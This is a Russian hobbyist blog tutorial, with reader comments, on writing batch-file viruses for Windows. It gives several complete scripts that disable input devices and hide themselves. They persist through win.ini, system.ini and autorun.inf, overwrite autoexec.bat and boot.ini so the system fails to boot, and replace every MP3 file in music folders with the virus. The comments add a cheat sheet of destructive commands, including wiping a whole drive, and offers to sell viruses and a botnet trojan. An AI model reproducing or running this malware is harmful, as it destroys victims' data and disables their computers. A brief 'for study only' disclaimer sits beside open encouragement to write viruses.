Привет тебе снова, юный кодер-шкодер. Если ты читал прошлую мою статью под названием "Учим ДОС", то ничего сложного тут для тебя не будет. А если не читал, то внимательно смотри комментарии. Итак, начнем. Сижу я однажды и думаю: а не накатать ли мне вирус? А так как кроме QБарсика я ничего не знал, а ДОС был моим вторым ... [Братом], а ты что подумал извращенец? :)~. ТО я решил писать вирус на нем, и оказалось это не так трудно.
Вот тело моего первого вируса
@echo off
rundll32 keyboard,disable
rundll32 mouse,disable
copy %0 %windir%/system
echo run=%windir%/system/*.bat >> win.ini
echo run=%windir%/system/*.bat >> system.ini
label LOHOLAMMER
if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r
deltree /y c:\autoexec.bat > nul
echo autoexec.bat echo YOU ARE LAMMER...xe-xe-xe > c:\autoexec.bat
rundll32 mouse,enable
rundll32 keyboard,enable
echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup("Warning,.. Ваш компьютер заражен вирусом, а избавиться от него нельзя, хе-хе-хе"); >> %temp%\mes.js
start %temp%\mes.js
deltree /y %temp%\mes.js
attrib c:\autoexec.bat +h +s +a +r
pause
cls
Объясняю популярно и по шагам:
1 @echo off - Запрещаем ДОСовскому окошку показывать, что делает скрипт.
2 rundll32 keyboard,disable - Отключаем клаву, на случай если юзер поймет что происходит и надумает нажать CTRL+C
3 rundll32 mouse,disable - Отключаем мышь тоже на всякий.
4 copy %0 %windir%/system - Копируемся в папку windows/system
// %0 - Переменная, указывающая на исходный файл-вирус
// %windir% - переменная папка масдая.
5 echo run=%windir%/system/*.bat >> %windir%\win.ini - Добавляет текст "run=%windir%/system/*.bat" в файл win.ini
6 echo run=%windir%/system/*.bat >> %windir%\system.ini - Добавляет текст "run=%windir%/system/*.bat" в файл system.ini
7 label LOHOLAMMER - Меняет имя диску c:\ на "LOHOLAMMER"
8 if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r - Проверяем если есть файл c:\autoexec.bat то убираем
//у него атрибуты -h -s -a -r
9 deltree /y c:\autoexec.bat - Удаляем файл c:\autoexec.bat , если не убрать атрибуты, то программа не удалит файл.
10 echo autoexec.bat echo YOU ARE LAMMER...xe-xe-xe > c:\autoexec.bat - Добавить текст "YOU ARE LAMMER...xe-xe-xe"
//в новый файл autoexec.bat
11 rundll32 mouse,enable - Включаем, пускай думает, что ниче не было.
12 rundll32 keyboard,enable - Включаем, пускай думает, что ниче не было.
13 echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup("Warning,.. Ваш компьютер заражен вирусом, а избавиться от него нельзя, хе-хе-хе"); >> %temp%\mes.js
start %temp%\mes.js. //Этот текст выводит масдайное окно с надписью
deltree /y %temp%\mes.js //А потом стирает за собой следы.
14 attrib c:\autoexec.bat +h +s +a +r - Делает файл c:\autoexec.bat скрытым и системный чтоб ламер ничего не заподозрил.
15 pause - Просим нажать любую клавишу (Не обязательно нажимать ведь вирь уже сделал свое дело.)
16 cls - Выходим
Эта программа, при следующей перезагрузке не даст загрузиться виндовсу и будет писать 'Вы ламер.' .Работает только в винде до 2000.
Идем дальше, пишем новый вирус. Те функции, которые были упомянуты уже, не будут объясняться заново. Это просто усовершенствованная версия прошлого вируса.
@echo off
rundll32 user,setcursorpos //Убираем с экрана курсор в левый угол
rundll32 keyboard,disable //Было
rundll32 mouse,disable //Было
rundll32 user,swapmousebutton. //Тут мы переставляем кнопки мыши
echo Обновление параметров системы, пожалуйста подождите... //пишет отмазку :)
label mp_k //Меняем имя диску
copy mp_k.exe %windir% //Копирует себя в папку windows
if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r
deltree /y c:\autoexec.bat
if exist c:\io.sys echo autoexec.bat echo YOU_ARE_LAMMER....[]=[_H@CKED_BY_[kas]*_"SmallPox_Vir_Org"_] > c:\autoexec.bat
echo run = %windir%\mp_k.exe >> %windir%\win.ini
echo run = %windir%\mp_k.exe >> %windir%\system.ini
echo [AutoRun] > c:\autorun.inf //Эти операции есть в прошлом вирусе.
echo open=c:\autoexec.bat > c:\autorun.inf
echo [AutoRun] > d:\autorun.inf
echo open=c:\autoexec.bat > d:\autorun.inf
rundll32 mouse,enable
rundll32 keyboard,enable
echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup("Warning,.. А теперь необходимо перезагрузиться"); >> %temp%\mes.js
start %temp%\mes.js
deltree /y %temp%\mes.js
attrib c:\autoexec.bat +h +s +a +r
attrib %windir%\mp_k.exe +h +s +a +r
attrib c:\autorun.inf +h +s +a +r
attrib d:\autorun.inf +h +s +a +r
deltree /y mp_k.exe
rmdir %windir%\temp //Удаляем папку temp
mkdir %windir%\temp //Создаем папку temp
cls
А теперь, что-то новое.
@echo off
cls
echo Please wait, updating system...
ctty nul. //Это новая команда, она отключает вывод текста в окошке.
exist %WINDIR%\SYSTEM\VMM32\%0 goto :end //Если вирь уже запускался то пусть запустит себя снова.
copy %0 %WINDIR%\SYSTEM\VMM32
cd c:\ //Переходим в другую директорию
for %%a in (*.mp3 c:\*.mp3 c:\MUZ\*.mp3 c:\My Music\*.mp3 ..\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd My Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd My_Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd MyMusic
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd Музыка
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd Музон
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd MUZ
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd mp3
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd d:\
for %%a in (*.mp3 c:\*.mp3 c:\MUZ\*.mp3 c:\My Music\*.mp3 ..\*.mp3) do copy /y %0 %%a
cd My Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Тут тоже самое.
cd My_Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd MyMusic
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd Музыка
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd Музон
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd MUZ
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd mp3
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
:end //Метка
start /m /w %WINDIR%\SYSTEM\VMM32\%0 //Запуск в свернутом режиме
ctty con //Врубаем разрешение на показ текста в окне
echo Say goodbye your MP3 collection :)) Virus [BAT.kas.a] //Прощальные строки
cls //Выход.
Тут мало нового но уже что-то. Идем дальше. Накачал я с инета BAT-вирусов и начал их исследовать. И вот результаты:
Написал еще пару своих:
ctty nul //Было такое
REM Чй† Ђь@uoњPSQRVW
?
‹тЌ
" Q_ь№ у¦u=
є №є њъ.я?ђ л,ђ ///
copy %0 *.exe ///
copy %0 b.com>nul // Эта технология взята с вируса другово.
b.com. // Эти каракули перехватывают рабочие в данный момент файлы, и херит их.
del b.com. /// Это текст АСМ скомпиленого в exe
rem _^ZY[Xќњъ.я?ђ К ђђђђъ.я.ђ К ћ # @echoђё.5Н.Њ ' ‰?ђ Ќ ё.%Н.Ќ є Н'ђђ //
@echo off //
echo XEP_BAM //Пишем злобно и красиво.
if exist %windir%/%0.bat goto :end //Проверка виря на запускание, те был ли он запущен.
@rundll32 user,setcursorpos
ctty con //Было такое
echo Обновление параметров системы, пожалуйста подождите... //Отвлекаем.
@label BAT.c
copy %0.bat %windir% > nul
if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r
if exist c:\boot.ini attrib c:\boot.ini -h -s -a -r
deltree /y c:\autoexec.bat
deltree /y c:\boot.ini
if exist c:\autoexec.bat echo autoexec.bat echo YOU_ARE_LAMMER.... > c:\autoexec.bat
if exist c:\boot.ini echo autoexec.bat echo YOU_ARE_LAMMER.... > c:\boot.ini //Это для XP он там вместо autoexec.bat ;)
deltree /y %windir%/win.ini
copy %0 > %windir%/win.ini
deltree /y %windir%/system.ini
copy %0 > %windir%/system.ini
if exist c:\io.sys //Проверка наличия диска так как на каждом диске есть файл io.sys
echo [AutoRun] > c:\autorun.inf //И если он есть заразить его.
echo open=c:\autoexec.bat >> c:\autorun.inf //И если он есть заразить его.
if exist d:\io.sys //Проверка наличия диска
echo [AutoRun] > d:\autorun.inf //И если он есть заразить его.
echo open=c:\autoexec.bat >> d:\autorun.inf //И если он есть заразить его.
if exist e:\io.sys //Проверка наличия диска
echo [AutoRun] > e:\autorun.inf //И если он есть заразить его.
echo open=c:\autoexec.bat >> e:\autorun.inf //И если он есть заразить его.
:end //Метка СМ начало.
cls //Выход
О какие бывают вирусы. И на что только ни ухитряются вирусописатели, чтобы добиться нужного результата. Прочитав эту доку ты с уверенностью сможешь сам написать BAT вирус, даже лучше моего ;).Ну удачи тебе в написании вирей, а я отклонюсь и свалю пить пиво %-).
Статьи написаны исключительно для изучения алгоритмов работы вирусов и методов борьбы с ними. Алгоритмы работы вирусов были выявлены при декомпиляции найденных в интернете вирусов и на сайте Лаборатории Касперского.
Статья суперская ,а как сделать чтоб всплывало ещё фото?? как в порнобанере ???? кто знает подскажите пож.
Комментарий от Иван
[ 16 марта, 2011, 10:28 ]
Я тоже новичок в этом деле, но вообщем понравилось!
Тоже искал несколько полезных команд BAT вирусов на форуме порекомендовали ввести в гугле “личный сайт антона виноградова”.
Нашел там всё, что нужно и команды и программы для компиляции из BAT в EXE.
Комментарий от Рома
[ 17 марта, 2011, 22:55 ]
Если кому надо могу дать батгенератор (мой, написаный своими руками на том же batch). кому интересно пишите на eliseev.roman.al@gmail.com
Комментарий от Леон Гончаров
[ 19 марта, 2011, 20:45 ]
Люди… мда. Я дочитал комменты до середины, дальше не смог, это ппц. Мне 14 лет, но с первого взгляда я вижу что тут стооолько бреда… Я вири тож на бат пишу (хотя для батника вирь – уже фраза бредовая..), но блин, зачем все так усложнять? Там столько лишних строк, либо у некоторых наоборот: они хвастаются rd %systemroot%\windows! А хотите идею? Во-первых, компилируйте, криптуйте и джойните батники! Во-вторых, раз вири на бат тупость, напишите троян для… БОТНЕТА! Желающим получить исходник, просьба писать на мыло: magicmight2008@yandex.ru. ахаха)) ток я жадный, ботнетник за 10 руб. (ппц сумма..)
Комментарий от роман
[ 21 марта, 2011, 23:55 ]
парни скиньте мне вирус на мыло если можно romaskip@au.ru заранее спс
Комментарий от Лёха
[ 23 марта, 2011, 00:06 ]
скажите пожалуста как зделать так чтоб бат вирус запускался после перезагрузки компа очень надо заранее спосибо
Комментарий от Лёха
[ 23 марта, 2011, 00:12 ]
скажите пожалуста как зделать так чтоб бат вирус запускался после перезагрузки компа снова и снова какая команда нужна
Комментарий от Илья
[ 23 марта, 2011, 18:36 ]
Надо читать все комментарии! Киньте на мыло возможности бат вирусов!
Комментарий от Руслан
[ 23 марта, 2011, 23:03 ]
Фигня это всё тут выше изложеное сам на сибе испробывал не работает )))))))))) шляпа а не ВИРУСЫ
Комментарий от Лёха
[ 24 марта, 2011, 23:51 ]
ТЫ ПРОСТ ТУПОЙ НЕ ТАК ПИСАЛ НОВЕРНО У МЯ ВСЁ РОБИТ
Комментарий от Лёха
[ 24 марта, 2011, 23:52 ]
скажите пожалуста как зделать так чтоб бат вирус запускался после перезагрузки компа снова и снова какая команда нужна
Комментарий от Рома
[ 25 марта, 2011, 11:00 ]
Могу написать бат вирь под заказ(цена чистосимволическая, другой вирь например или интересная идея). кто заинтересован пишите на eliseev.roman.al@gmail.com
Комментарий от Алекс
[ 1 апреля, 2011, 18:49 ]
Спасибо огромное автору. Всегда мечтал создавать хотя-бы простые вирусы. Статья отличная, мне понравилось!
Забавно… и познавательно вместе с тем. Только начал изучать командную строку. Полезная статья, спасибо
Комментарий от жека
[ 3 апреля, 2011, 15:09 ]
народ вот короче малая часть действий разбирайтесь пишите коменты я училкам 8 компов наебнул ух они в ахуе были.
В состав Windows входят некоторые еще
не описанные исполняемые файлы (внешние команды):
del %0 -САМОУДАЛЕНИЕ
del c:Program Files/q -удаляет все файлы из указанной папки
Chkdsk.exe – отчет о состоянии диска
Debug.exe – отладчик программ
Diskcopy.com – копирование дискет с
соблюдением физического расположения файлов
Doskey.com – резидентная программа
редактирования командной строки
Extract.exe – распаковка Каб-файлов
Fc.exe – сравнение файлов
Find.exe – поиск текста
Label.exe – изменение метки тома
Move.exe – перемещение файлов
Restart.com – перезапуск компьютера
Scanreg.exe – программа проверки,
восстановления, исправления и
резервирования реестра.
Share.exe – обеспечение совместного
использования файлов
Start.exe – запуск приложений Windows из сеанса
MS-DOS (вообще-то, они и без нее запускаются)
Все они (кроме Restart.com), находятся в
папке Command. Параметры их запуска, если т
аковые потребуются, можно узнать, вызывая их
с параметром /?.
ASSOC – Отображает или модифицирует связи расширений файлов
AT – Планирует команды и программы для выполнения на компьютере.
ATTRIB – Отображает или изменяет атрибуты файла.
BREAK – Устанавливает или отменяет проверку комбинации [Ctrl+C].
CACLS – Отображает или модифицирует списки управления доступом (ACLs) для файлов.
CALL – Вызывает один *.BAT-файл из другого.
CD – Отображает имя или изменяет имя текущей директории.
CHCP – Отображает или устанавливает номер активной кодовой страницы.
CHDIR – Отображает имя или изменяет имя текущей директории.
CHKDSK – Проверяет диск и отображает отчет о состоянии.
CLS – Очищает экран.
CMD – Стартует новый экземпляр интерпретатора команд Windows NT.
COLOR – Устанавливает цвета по умолчанию для переднего и заднего плана консоли.
COMMAND – Стартует новую копию интерпретатора команд Windows.
COMP – Сравнивает содержимое двух файлов или установки файлов.
COMPACT – Отображает или видоизменяет сжатие файлов на патрициях Windows NT(NTFS).
CONVERT – Конвертирует FAT томов к формату файловой системы Windows NT(NTFS). Вы не можете конвертировать текущий диск.
COPY – Копирует один или больше файлов на другое место.
CTTY – Изменяет терминальное устройство, используемое для управления вашей системой.
DATE – Отображает или устанавливает дату.
DEL – Удаляет один или более файлов.
DEBUG – Выполняет отладку, тестирование программ и редактирование инструментальных средств.
DIR – Отображает список файлов и поддиректорий в директории.
DISKCOMP – Сравнивает содержимое двух дискет.
DISKCOPY – Копирует содержимое одной дискеты на другую.
DOSKEY – Редактирует командные строки, восстанавливает команды Windows и создает макрос.
ECHO – Отображает сообщения, или включает/выключает вывод команд.
EMM386 – Включает/выключает поддержку расширенной памяти EMM386.
ENDLOCAL – Заканчивает локализацию изменений окружающей среды в *.BAT-файле.
ERASE – Удаляет один или более файлов.
EXIT – Прекращает выполнение программы (интерпретатор команд).
EXTRACT – Средство извлечения информации из CAB – файлов.
FC – Сравнивает два файла или установки файлов, и отображает различие между ними.
FIND – Ищет текстовую строку в файле или файлах.
FINDSTR – Поиск строк в файлах.
FOR – Выполняет указанную команду для каждого файла в наборе файлов.
FORMAT – Форматирует диск для использования с Windows.
FTYPE – Отображает или модифицирует типы файлов, используемых в связях расширений.
GOTO – Направляет интерпретатор команд Windows NT к помеченной строке в *.BAT-файле.
GRAFTABL – Способность Windows отображать символы псевдографики, вставленные в графическом режиме.
HELP – Обеспечивает информацию Help для команд Windows.
IF – Выполняет обработку условия в *.BAT-файле.
KEYB – Конфигурирует клавиатуру для заданного языка.
LABEL – Создает, изменяет, или удаляет метку тома на диске.
LOADHIGH(LH) – Загружает программу в верхние адреса памяти.
MD – Создает директорию.
MEM – Отображает величину используемой и свободной памяти в вашей системе.
MKDIR – Создает директорию.
MODE – Конфигурирует системное устройство.
MORE – Отображает вывод одного экрана за раз.
MOVE – Перемещает один или более файлов из одной директории в другую на том же диске.
NETSTAT – Отображает статистики протоколов и текущих сетевых соединений TCP/IP.
NLSFUNC – Загружает информацию, специфическую для страны.
PATH – Отображает или устанавливает путь поиска для выполняемых файлов.
PAUSE – Приостанавливает обработку *.BAT-файла и отображает сообщение.
POPD – Восстанавливает предыдущее значение текущей директории, сохраненной по PUSHD.
PRINT – Печатает текстовый файл.
PROMPT – Изменяет подсказку к командам Windows.
PUSHD – Сохраняет текущую директорию, потом изменяет.
RD – Удаляет директорию.
RECOVER – Восстанавливает читаемую информацию с плохого или дефектного диска.
REM – Записывает комментарии (примечания) в *.BAT-файлы или CONFIG.SYS.
REN – Переименует файл или файлы.
RENAME – Переименует файл или файлы.
REPLACE – Заменяет файлы.
RESTORE – Восстанавливает файлы, которые были архивированы с использованием команды BACKUP.
RMDIR – Удаляет директорию.
SET – Отображает, устанавливает или удаляет переменные среды Windows.
SETLOCAL – Начинает локализацию изменений среды в *.BAT-файле.
SETVER – Устанавливает номер версии MS-DOS, который Windows сообщает программе.
SHIFT – Сдвигает позицию замещаемых параметров в *.BAT-файле.
SMARTDRV – Инсталлирует и конфигурирует утилиту кэширования диска SMART – драйва.
SORT – Сортирует входной поток.
START – Стартует отдельное окно для выполнения указанной программы или команды.
SUBST – Связывает путь с литерой диска.
SYS – Копирует файлы системы MS-DOS и интерпретатор команд на указанный вами диск.
TIME – Отображает или устанавливает системное время.
TITLE – Устанавливает заголовок окна для сеанса .
TREE – Графически отображает структуру директория в драйве или путь.
TYPE – Отображает содержимое текстового файла.
VER – Отображает версию Windows.
VERIFY – Сообщает Windows, проверять ли правильность записи файлов на диск.
VOL – Отображает метку дискового тома и серийный номер.
XCOPY – Копирует файлы и деревья директории.
[папка WINDOWS]\COMMAND\format [Буква_Диска]: /autotest – форматирование диска(работает в XP)
Cd\ – команда для выхода в корневой каталог из места откуда был запущен bat файл
Cd [Буква_Диска]: – команда перехода на диск
~~~~
Пример, взят с книжки(прога копирует себя в autoexec.bat):
@Echo off
if exist c:virus.bat goto wik {проверяем, существует ли файл, …}
copy %0 c:virus.bat >nul
attrib +h c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
:wik {…если он существует, то программа переходит на метку :wik}
copy %0 a:run.bat >nul
~~~~
Chcp 1251 – русская кодировка в бате
start/wait regedit -s [file.reg] – сливаем file.reg с реестром
rd [Буква_Диск]: /s /q – Удаляет ВСЕ с раздела\диска(не пытайтесь проверить у себя)
echo [Строка] >> [Файл] – дописывает строку в файл
attrib -a -s -h [файл.расш] – снимает атрибуты с файла:
+-[a] – снять/убрать аттрибут “НЕ ЗНАЮ Я КАКОЙ НО вроде Архивный”
+-[ s ] – снять/убрать аттрибут “Системный”
+-[h] – снять/убрать аттрибут “Скрытый”
+-[r] = снять/убрать аттрибут “Чтение”
~~~~~~~
Пути:
%USERPROFILE% – [C]:\Documents and Settings\[LAMER]
%ProgramFiles% – это понятно что=)
%USERPROFILE%\Application Data\Microsoft\Internet Explorer\Quick Launch – быстрый запуск
%USERPROFILE%\SendTo – меню “Оптравить”
%windir% – Wind00z)))
%temp% – поняна че ето
~~~~~~~~~~~
assoc .[старое расширение]=.[новое расширение] -изменения ассоцияций
md Папка\еще папка – Создание папок, пример:
md открой\и эту тоже\идём дальше\почти у цели\сейчас конец\конец
Или так:
Добавляем n папок в меню “Отправить”:
cd %USERPROFILE%\SendTo
md 1
mp 2
md 3
…
md n
~~~~~~~~~~~~~~~~~~~~~
RUNDLL (Скопировано с “Народных советов, май 2003”), юзать прямо и тупо – пишете строку в BAT-файл и все:
~~~~~~~~~~~~~~~~~~~~~
rundll32 shell32.dll,Control_RunDLL hotplug.dll – диалоговое окно Отключение или извлечение аппаратного устройства
rundll32 diskcopy,DiskCopyRunDll – вызов диалога “Копирование диска”.
rundll32 keyboard,disable – отключение клавиатуры, действует до следующей перезагрузки.
rundll32 mouse,disable – отключение мыши вплоть до перезагрузки.
rundll32 krnl386.exe,exitkernel – выгрузить ядро системы, выход из Windows.
rundll32 mshtml.dll,PrintHTML “HtmlFileNameAndPath” – распечатать документ HTML, где “HtmlFileNameAndPath” – путь к файлу и его имя.
rundll32 мсprint2.dll,RUNDLL_PrintTestPage – распечатать тестовую страницу на принтере.
rundll32 netplwiz.dll,AddNetPlaceRunDll – вызов мастера подключения нового сетевого ресурса “Добавление в сетевое окружение”.
rundll32 rnaui.dll,RnaWizard – вызов мастера “Удаленный доступ к сети”.
rundll32 rnaui.dll,RnaWizard /1 – вызов мастера “Удаленный доступ к сети” без отображения начального окна.
rundll32 shell,ShellExecute – открыть Проводник (папка “Рабочий стол”).
rundll32 shell32,Control_RunDLL – открыть в Проводнике папку “Панель управления”.
rundll32 shell32,Control_RunDLL appwiz.cpl,,n – вызов диалогового окна “Установка и удаление программ”, в котором будет открыта вкладка с номером “n” (от 1 до 3).
rundll32 shell32,Control_RunDLL main.cpl @0 – открыть диалог “Свойства мыши”.
rundll32 shell32,Control_RunDLL main.cpl @1 – открыть диалог “Свойства клавиатуры”.
rundll32 shell32,Control_RunDLL main.cpl @2 – открыть папку “Принтеры”.
rundll32 SHELL32,SHHelpShortcuts_RunDLL PrintersFolder – открыть папку “Принтеры” (другой способ).
rundll32 shell32,Control_RunDLL main.cpl @3 – открыть папку “Шрифты”.
rundll32 SHELL32,SHHelpShortcuts_RunDLL FontsFolder – открыть папку “Шрифты” (другой способ).
rundll32 SHELL32,Control_RunDLL modem.cpl, add – открыть диалог “Свойства модема”.
rundll32 shell32,Control_RunDLL timedate.cpl – открыть диалог “Дата и время”.
rundll32 shell32,OpenAs_RunDLL – вызвать диалог “Открыть с помощью…”.
rundll32 shell32,ShellAboutA WINHOWTO.RU – информация о версии Windows.
rundll32 shell32,SHExitWindowsEx 0 – закрыть все программы, перегрузить оболочку.
rundll32 shell32, SHExitWindowsEx 1 – выключить ПК.
rundll32 SHELL32, SHExitWindowsEx -1 – перегрузить оболочку Windows.
rundll32 shell32, SHExitWindowsEx 2 – перегрузить ПК.
rundll32 shell32,SHExitWindowsEx 4 – принудительно закрыть все программы.
rundll32 shell32,SHExitWindowsEx 8 – выход из Windows и выключение ATX-совместимого ПК.
rundll32 shell32,SHFormatDrive – вызов диалога форматирования диска А:.
rundll32 SHELL32,SHHelpShortcuts_RunDLL AddPrinter – запуск “Мастера установки принтера”.
rundll32 shell32,SHHelpShortcuts_RunDLL Connect – запуск мастера подключения сетевого диска.
rundll32 SHELL32,SHHelpShortcuts_RunDLL PrintTestPage – распечатать тестовую страницу.
rundll32 sysdm.cpl,InstallDevice_Rundll – вызов мастера установки оборудования.
rundll32 url.dll,FileProtocolHandler %1 – открыть веб-страницу, где %1 – URL сайта (включая [link=https://).]https://).[/link]
rundll32 url.dll,MailToProtocolHandler %1 – создать новое письмо, где %1 – e-mail адресата.
rundll32 user,CASCADECHILDWINDOWS – расположить все окна каскадом.
rundll32 user,TILECHILDWINDOWS – расположить все окна по экрану.
rundll32 user,disableoemlayer – сбой системы (!) – выключить все функции ввода-вывода (клавиатура, дисплей, мышь). В результате будет черный экран с курсором и ни на что не реагирующая система, однако Windows продолжает работать.
rundll32 user,ExitWindowsExec – быстрая перезагрузка Windows.
rundll32 user,RepaintScreen – выполнить команду “Обновить”.
rundll32 user,SetCaretBlinkTime n – задать частоту мигания курсора, соответствующую значению параметра n.
rundll32 user,SetCursorPos – переместить курсор мыши в верхний левый угол экрана.
rundll32 user,SetDoubleClickTime n – задать скорость двойного нажатия левой кнопки мыши (Double Click), соответствующую параметру n.
rundll32 user,SwapMouseButton – поменять местами клавиши мыши (обратная смена невозможна).
rundll32 user,WNetConnectDialog – вызов диалога “Подключение сетевого диска”.
rundll32 user,WNetDisconnectDialog – вызов диалога “Отключение сетевого диска”.
rundll32 AppWiz.Cpl,NewLinkHere %1 – запуск мастера создания нового ярлыка, где %1 – путь к исходному файлу.
~~~~~~~~~~~~~~~~~~~~~~~
WSH(работает только В win2000=)))))
БЕЗ КОМЕНТАРИЕВ, ДУМАЮ ВСЕ ПОНЯТНО:
~~~~~~~~~~~~~~~~~~~~~~~
echo var WSHShell = WScript.CreateObject(”WScript.Shell”); > %temp%\mes.js
WSHShell.Popup(”][AKER FOREVA!”); >> %temp%\mes.js
start %temp%\mes.js
deltree /y %temp%\mes.js
attrib c:\autoexec.bat +h +s +a +r
pause
cls
~~~~~~~~~~~~~~~~~~~~~
Вирус(полностью и нагло тоже скопирован):
ctty nul //Было такое
REM Чй† Ђь@uoњPSQRVW
?
‹тЌ
” Q_ь№ у¦u=
є №є њъ.я?ђ л,ђ ///
copy %0 *.exe ///
copy %0 b.com>nul // Эта технология взята с вируса другово.
b.com. // Эти каракули перехватывают рабочие в данный момент файлы, и херит их.
del b.com. /// Это текст АСМ скомпиленого в exe
rem _^ZY[Xќњъ.я?ђ К ђђђђъ.я.ђ К ћ # @echoђё.5Н.Њ ‘ ‰?ђ Ќ ё.%Н.Ќ є Н’ђђ //
@echo off //
echo XEP_BAM //Пишем злобно и красиво.
if exist %windir%/%0.bat goto :end //Проверка виря на запускание, те был ли он запущен.
@rundll32 user,setcursorpos
ctty con //Было такое
echo Обновление параметров системы, пожалуйста подождите… //Отвлекаем.
@label BAT.c
copy %0.bat %windir% > nul
if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r
if exist c:\boot.ini attrib c:\boot.ini -h -s -a -r
deltree /y c:\autoexec.bat
deltree /y c:\boot.ini
if exist c:\autoexec.bat echo autoexec.bat echo YOU_ARE_LAMMER…. > c:\autoexec.bat
if exist c:\boot.ini echo autoexec.bat echo YOU_ARE_LAMMER…. > c:\boot.ini //Это для XP он там вместо autoexec.bat ;)
deltree /y %windir%/win.ini
copy %0 > %windir%/win.ini
deltree /y %windir%/system.ini
copy %0 > %windir%/system.ini
if exist c:\io.sys //Проверка наличия диска так как на каждом диске есть файл io.sys
echo [AutoRun] > c:\autorun.inf //И если он есть заразить его.
echo open=c:\autoexec.bat >> c:\autorun.inf //И если он есть заразить его.
if exist d:\io.sys //Проверка наличия диска
echo [AutoRun] > d:\autorun.inf //И если он есть заразить его.
echo open=c:\autoexec.bat >> d:\autorun.inf //И если он есть заразить его.
if exist e:\io.sys //Проверка наличия диска
echo [AutoRun] > e:\autorun.inf //И если он есть заразить его.
echo open=c:\autoexec.bat >> e:\autorun.inf //И если он есть заразить его.
:end //Метка СМ начало.
cls //Выход
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
copy %0 [Папка] – Копирует себя в папку
time ЧЧ:ММ – меняет время
date ДД.ММ.ГГ – если ставить ” в будущее”, то у некоторых антивирусов дохнет активация
del [файл.расш] /s /q – удаление файла
deltree /y [Файл] – Еще одно удаление
Комментарий от Joker
[ 6 апреля, 2011, 02:27 ]
Так товарищи. Прочитал весь этот полубред.
1. Половина операторов в ХР не пашет-факт
2. Идеи не плохие… однако время не то… эти вири актуальны были в конце 90-х.
3. Если хочеш стать ВИРЬ писакой, изучай языки программирования.
4. Читай ВСЕ коменты… Много повторяющихся вопросов.
5. скачайте “азбуку” CMD. Много интересного найдете.
Комментарий от Virus_7
[ 12 апреля, 2011, 15:57 ]
Ребят! HELP! Как создать вирус, который будет искать файлы по ключевым словам, которые я задам, и удалять их??? Пишите в аську ребят, если знаете как!!!
UIN:72367383 ник:[CLU] Жду ребят!!! HELP!!!
Комментарий от shegan
[ 23 апреля, 2011, 09:47 ]
есть такие люди кторые могут хорошо и понятно обучить хаккингу я понимаю что это не легко я знаю не много ну и не мало мне нужен человек кторый будет двигать мои мозги дальше
Комментарий от olya
[ 14 мая, 2011, 20:52 ]
помогите пожалусто,немогу найти троян-вымогатель,кто поможет,отблагодарю!
Комментарий от Леон Гончаров
[ 6 июля, 2011, 06:01 ]
А червя-насильника тебе не написать?
Комментарий от Дима
[ 11 июля, 2011, 14:36 ]
Уважаемый админ, нанесение ущерба, это конечно прикольно, а возможно написание такой бат программы, чтоб при установки флеш карты и при запуске программы все файлы txt, doc, или другие заданые в параметрах файлы копировались на указаную флеш карту в указаную папку. Если это возможно скинте пожалуйста набор кода на мой почтовый ящик dim4ik.k@yandex.ru. Заранее спасибо.
Комментарий от ммммммм
[ 17 июля, 2011, 20:59 ]
меня убил вирус
Комментарий от xakepo4ku
[ 29 июля, 2011, 07:22 ]
выложите исходников разных тройчиков заценить хоть одним глазком .)
Комментарий от xakepo4ku
[ 29 июля, 2011, 07:23 ]
Timer1.Enabled = True
Me.Timer1.Interval = 1000 * seconds
While Me.Timer1.Interval > 0
DoEvents
Wend
Timer1.Enabled = False
End Sub
‘настройка таймера
Private Sub Timer1_Timer()
Timer1.Interval = 0
End Sub
‘код формы
Private Sub Form_Load()
‘скрываем форму
